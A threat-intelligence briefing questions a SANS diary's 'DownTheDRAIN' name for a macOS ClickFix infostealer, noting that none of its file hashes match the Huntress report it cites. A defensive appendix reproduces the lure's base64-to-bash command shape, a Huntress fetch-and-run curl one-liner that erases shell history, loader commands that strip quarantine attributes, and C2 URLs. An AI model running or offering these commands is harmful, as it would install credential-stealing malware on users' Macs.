SANS diary names a Mac stealer DownTheDRAIN: 0 of its 3 file hashes appear in the Huntress post it cites

0 of 3 hashes, 99 days and one handler's nickname (derived)

The name DownTheDRAIN was coined on 13 November 2026 by the author of a SANS Internet Storm Center diary, who says so in the first sentence: "I've given a nickname to the macOS infostealer we've been seeing from the Macfinger ClickFix campaign". The name rests on a Huntress post published on 6 August 2026, which is 99 days earlier (derived). The diary prints three SHA-256 hashes, for a shell script and two copies of a binary. None of them appears in the Huntress post, which prints four, and none appears in the author's two September diaries either (derived: every 64 character hash on the four saved pages was extracted and compared, so 0 of 3 match).

What that does not establish. Different hashes do not prove different code: the author's 25 September diary reports that copies of one binary from a single infection had "slightly different file sizes and different SHA-256 hashes". They do not prove the same code either. Neither page says that the 11 November file contains the DRAIN function that gives the name its meaning: the diary prints no analysis of that file's code. Neither page names an actor, counts victims, states a loss or says how the visitor reached the fake page. The one observation is a single Mac mini that, in the diary's words, "blocked and moved the malware to Trash before it could exfiltrate any sensitive data".

SANS runs the Internet Storm Center and sells training, and the diary page carries a banner for classes taught by the diary's author. Huntress sells managed detection, including for macOS, and wrote the underlying analysis. Apple is the platform vendor and is not a party at fault: the diary's screenshot shows macOS stopping the file.

Who named what, and when

Two names are in play, and the same person coined both. On 22 September the author wrote that the campaign "it doesn't appear to have a nickname yet", and called it the Macfinger ClickFix campaign. On 25 September the author believed the malware was "not a variant of Atomic macOS (AMOS) Stealer as originally reported", and "I just don't know what to call it". On 13 November the diary says "Since I couldn't find any unique characteristics in my analysis, I waited for someone to name it", and then takes a name from the Huntress analysis. The Huntress post names neither the campaign nor a family: the saved page contains neither "Macfinger" nor "DownTheDRAIN" in its text.

Zoom

What the fake page asks for, and what the 11 November file did

The diary's own screenshots show the lure. A page headed Bot Protection carries an I'm not a robot box. Its next screenshot shows a pop-up, headed Verification Steps, that asks the visitor to press Command and Space to open Spotlight, type Terminal, and paste a command with Command and V, then press Return. It ends with a ticked line, "I am not a robot - reCAPTCHA Verification ID: 322121". That is ClickFix: the visitor, not an exploit, runs the code. The diary's text prints none of this wording; it is read here from the screenshots, and the pasted command appears only in a screenshot too.

Zoom

The command in the diary's Terminal screenshot has the shape: print the verification line, print a long base64 string, decode it with base64 -D and pipe it to bash. The base64 string is not reproduced here, because a pasted string is the working lure. The diary's text then says the shell script "Retrieved by command in ClickFix text" "installs DownTheDRAIN infostealer". The script is 5,011 bytes, the binary it fetches is 35,143,984 bytes, and the copy saved on the host is 34,957,760 bytes at the path with the name com.apple.update under the user's Library Caches folder. The two binary sizes differ by 186,224 bytes, 0.53% of the downloaded size (derived: 35,143,984 minus 34,957,760). The diary does not explain the gap.

Zoom

Four HTTP POST requests went to the command server on port 8133 before the block, which the diary's indicator list marks with "HTTP POST request, generated 4 times before the malware was blocked". In its Wireshark screenshot they sit within 10 seconds of each other (derived from the printed times 00:51:00 to 00:51:10), and the first GET for the script comes 100 seconds after the first connection to the lure domain (derived: 00:49:20 to 00:51:00; the screenshot does not state its time zone). What the four POSTs carried is not stated. The 25 September diary, about a different sample, says POSTs to the same /api/t path reported that the download was good, that the program had started and that it ran; this site infers that the four may be status reports of that kind, but the 13 November diary does not say so.

What the Huntress post says DRAIN does

Huntress responded to "an incident where the target was tricked into pasting a ClickFix command into a Mac Terminal", and "the target had followed a link sent in an email message". Its analyst found the components during a June 2026 hunt on a system infected three months earlier, which puts the infection at about March 2026 (derived, approximate). The post describes a Go-based Mach-O stealer built to scrape browser password stores, Apple Keychain data and cached credentials, and says the malware "included a DRAIN function" that checks whether a wallet held funds and then redirects all or part of the balance.

In Huntress's description the function identifies likely wallet addresses, queries the blockchain for a balance, gets an alternative wallet address from a hardcoded list or from its command server, and takes either a portion, set by a variable named DRAIN_PCT, or the whole contents. Huntress says it was "the first time we had seen malware capable of emptying a cryptocurrency wallet" that could take less than the entire balance. That is a vendor's statement about its own experience. The diary's DRAIN quote is the caption of the post's Figure 5, not a sentence of its body text.

Huntress also says "None of the publicly-viewable wallet addresses have received any value or have any record of transactions". The page does not say whether any address supplied by the command server was seen, so it does not state that no loss occurred. Its two coin lists differ: the code to intercept and redirect transactions covers "Bitcoin, Litecoin, Dogecoin, and Monero", while the drain subroutines are for Bitcoin, Litecoin and Dogecoin, Ethereum and XRP. Huntress ties the loader, payload hosting and command server of its sample to Aeza Group infrastructure, sanctioned by the US in 2025; neither diary says who hosts the Macfinger addresses.

Checked and inferred: the samples side by side

The diary's author calls the 11 November file DownTheDRAIN but does not list why it belongs with the Huntress sample. This site compared the four saved pages. The right hand column is this site's reading, not a statement by SANS or Huntress.

Read together, the shared loader pattern, port, persistence names and Go indicators make it plausible that the Huntress sample and the Macfinger samples belong to one family. That is an inference from the traits above. The name DownTheDRAIN would be earned for the Macfinger files only if one of them is shown to carry the DRAIN code, and the saved pages do not show that.

One Mac blocked it, and the pages do not say why

The diary's first screenshot shows a Terminal window that printed a verification success line and, beside it, a macOS notice titled Malware Blocked and Moved to Trash, which says the file "com.apple.update" was not opened because it contains malware and offers to send a copy to Apple. So the loader ran, four POSTs left, and the saved binary was stopped: the notice says it was not opened. The diary says the Mac mini ran macOS 26.7.3; it does not name the component that raised the notice.

Zoom

Two cautions. First, this is one observation on one machine. The same author's 24 September infection ran on a host with macOS 27.0 (Golden Gate), a higher version number, and the malware asked for folder access and for the administrator password. Those were different files on a different machine, so the pages do not say that the older version blocked what the newer one allowed, or why. Second, the diary's statement that nothing sensitive left the Mac is the author's, for one machine; the four POSTs went out and their content is not stated. Huntress notes that curl does not set the Gatekeeper (quarantine) attribute that lets macOS identify downloaded programs, and that its sample's script removes the attribute anyway. Neither page says Gatekeeper was or was not involved in the 11 November block.

A nickname is not a family

A name feels like an identification. Here it is a handler's label for a function in another company's report, applied to a campaign the same handler had labelled 52 days earlier (derived). The 25 September diary was candid: the author did not know what the malware was, and on the conclusion that it is not AMOS (the original report's label, per the diary) wrote "I could still be wrong". A defender who writes DownTheDRAIN into a ticket as if it were a family with a known wallet-draining capability is importing Huntress's August findings into a different file on the strength of a naming decision. If the Macfinger binaries do carry DRAIN, the risk is real and the name is apt; if they do not, a reader would over-estimate what the 11 November file could do. The pages do not let a reader tell which.

Where the pages differ

The date of the sample. The diary text says the file was distributed "on Wednesday, 2026-11-11". Its Wireshark screenshot prints times from 2026-11-12 00:49:19 to 00:51:10, and its Terminal screenshot's banner reads Last login: Thu Nov 12 00:48:12. No time zone is stated for either. This briefing uses 11 November as the diary's text gives it and does not resolve the one day gap.

Delivery. Huntress describes an emailed link. The 22 September diary describes legitimate websites with injected script. The 13 November diary says nothing about how the visitor arrived. These are different observations of what may be different stages of one campaign, and they are kept apart.

The coin lists inside the Huntress post differ, as set out above. The two binary sizes in the diary differ by 186,224 bytes with no explanation. The DRAIN quote in the diary is from the post's Figure 5 caption. The Huntress author is named in the diary; this briefing credits Huntress and names no individual.

What to do, in order

Technical details

Everything below is copied from the saved pages and defanged where it is live infrastructure. Treat a hash as a search term, not a link: do not visit, resolve or submit anything. Neither page prints a detection rule, a query or a signature. Huntress says it published its indicators in a GitHub repository, which this briefing did not open.

The diary's indicators. The domain of the fake page, the two infection URLs for the script and the binary, and the command server URL that received four POSTs. A defender searches proxy, DNS and firewall logs for these, and for the same patterns on other hosts.

Macfinger domain for the fake CAPTCHA page:
quill-kraee-um2gf[.]pro
Infection traffic for DownTheDRAIN infostealer:
hxxp[:]//45.150.32[.]130/37339606cba4522a?force=1
hxxp[:]//45.150.32[.]130/4be1066a49e75?force=1
hxxp[:]//171.22.131[.]24:8133/api/t <-- HTTP POST request, generated 4 times before the malware was blocked

The diary's three files. Hash, size, type and location of the script, the binary as fetched and the binary as saved. A defender searches endpoint telemetry for the hashes and for the saved path under the user's Library Caches folder.

SHA-256 hash: 58e503cc2e6aacc6bdba54f40a7edebf7a5362bef0a9039769baaba8c472c4db
File size: 5,011 bytes
File type: Bourne-Again shell script text executable, ASCII text, with very long lines
File location: hxxp[:]//45.150.32[.]130/37339606cba4522a?force=1
File description: Retrieved by command in ClickFix text, this shell script installs DownTheDRAIN infostealer
SHA-256 hash: 8b5026d841aa93758ec3cb55c276f84d3ec1cf459810e0d9aa5624e2776f2fcd
File size: 35,143,984 bytes
File type: Mach-O 64-bit executable arm64
File location: hxxp[:]//45.150.32[.]130/4be1066a49e75?force=1
File description: DownTheDRAIN infostealer binary retrieved by the above shell script
SHA-256 hash: c34cc30cb1cff5c47d77e62a3ba63e9a183989ec1ccdf7929beb1bcae0d41f23
File size: 34,957,760 bytes
File type: Mach-O 64-bit executable arm64
File location: $HOME/Library/Caches/com.apple.update
File description: DownTheDRAIN infostealer saved to the infected host, then blocked and moved to Trash by macOS

The pasted command, shape only. The diary shows it in a screenshot and not as text. This block gives its structure as read from the screenshot (derived by eye, not copied), with the base64 string left out on purpose. A defender looks for Terminal sessions that decode base64 and pipe the result to a shell.

echo 'I am not a robot - reCAPTCHA Verification ID: 322121' && echo '<long base64 string, omitted by this site>' | base64 -D | bash

The diary's network capture. Rows read by eye from its Wireshark screenshot, defanged by this site. The times are as printed, with no time zone stated. A defender can use the order: lure domain, two GETs, then POSTs to port 8133.

2026-11-12 00:49:19  (a .com host, name blurred in the original)  443  Client Hello
2026-11-12 00:49:20  138.124.59[.]62   443   quill-kraee-um2gf[.]pro   Client Hello
2026-11-12 00:49:21  138.124.59[.]62   443   quill-kraee-um2gf[.]pro   Client Hello
2026-11-12 00:51:00  45.150.32[.]130   80    GET /37339606cba4522a?force=1
2026-11-12 00:51:00  45.150.32[.]130   80    GET /4be1066a49e75?force=1
2026-11-12 00:51:00  171.22.131[.]24   8133  POST /api/t
2026-11-12 00:51:07  171.22.131[.]24   8133  POST /api/t
2026-11-12 00:51:07  171.22.131[.]24   8133  POST /api/t
2026-11-12 00:51:10  171.22.131[.]24   8133  POST /api/t

The Huntress ClickFix command. The command its target was told to run, as Huntress prints it, with the address already defanged by Huntress. It fetches a script into the temporary folder, runs it, deletes it, clears the screen and removes the command from history. A defender searches shell history and process creation logs for the same shape.

export SRC_URL='https://profitnow[.]io/' && (cd /tmp && curl -kfsSL "http://193.29.224[.]151/92392991a0cca55?force=1" -o .UlaccK && bash .UlaccK && rm -f .UlaccK) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null;

The Huntress profiler script. The key commands Huntress lists for the loader, in its order. They profile the hardware, make a look-alike folder, fetch the payload for the architecture, copy it under a look-alike name and remove the quarantine attribute. A defender uses them as process command lines to hunt.

ioreg -c IOPlatformExpertDevice -d 2
system_profiler SPHardwareDataType
echo "$(whoami)"
mkdir -p "$HOME/Library/Caches/com.apple.trustd"
uname -m
curl -kFsSL [payload URL] -o [random filename]
cp [random filename] $HOME/Library/Caches/com.apple.trustd/com.apple.verified
chmod +x com.apple.verified
xattr -d com.apple.quarantine $HOME/Library/Caches/com.apple.trustd/com.apple.verified

Persistence in the Huntress sample. A payload under a softwareupdate Caches path loaded through a LaunchAgent. The 25 September diary prints the same two names for a Macfinger infection, shown in the next block. A defender checks LaunchAgents folders for a plist with this name.

SHA256: b43a909a01e954d6549558f2f7e9bb58e34959a0ae229f340d61091ab726bbd3
/Users/<redacted>/Library/Caches/com.apple.softwareupdate/SoftwareUpdate
launchctl bootstrap gui/501 /Users/m1/Library/LaunchAgents/com.apple.softwareupdated.plist

/Users/ [username] /Library/LaunchAgents/com.apple.softwareupdated.plist
/Users/ [username] /Library/Caches/com.apple.securityd/com.apple.periodic
/Users/ [username] /Library/Caches/com.apple.softwareupdate/SoftwareUpdate

The Huntress indicator table. Paths, hashes, addresses and the ClickFix domain as Huntress lists them, one per line with its description. None of its hashes matches the diary's, as counted above.

$HOME/Library/Caches/com.apple.trustd/com.apple.verified Filesystem path used by this malware
com.apple.verified SHA256: f0062f7e70e61493684a2f60748a475168e155bc2502163c844c42e87692abd0 Stealer executable (ARM64)
$HOME/Library/Caches/homeenergyd/com.apple.homeenergyd Filesystem path used by this malware
com.apple.homeenergyd SHA256: 619a99ba4ee9d7f33db8045c7e03c4265424977993fe8a53b0f45157c5abd3e5 Stealer executable (x86_64)
SHA256: 5bad988affc1094f12b8b8bed659ef55b20e2988eb25441e1c1b34dd03b3eb52 Profiler/loader Bash script
193.29.224[.]151 IP address hosting the loader
77.221.152[.]34 IP address hosting the payloads
138.124.118[.]69 IP address used for exfiltration and C2
138.124.118[.]69:8133 IP address and nonstandard http port
profitnow[.]io Domain used during the ClickFix phase

The question the name leaves open

The name DownTheDRAIN says the 11 November file empties wallets. Which of the three files in the diary has been checked for the DRAIN code, and who will say so in public?

Key facts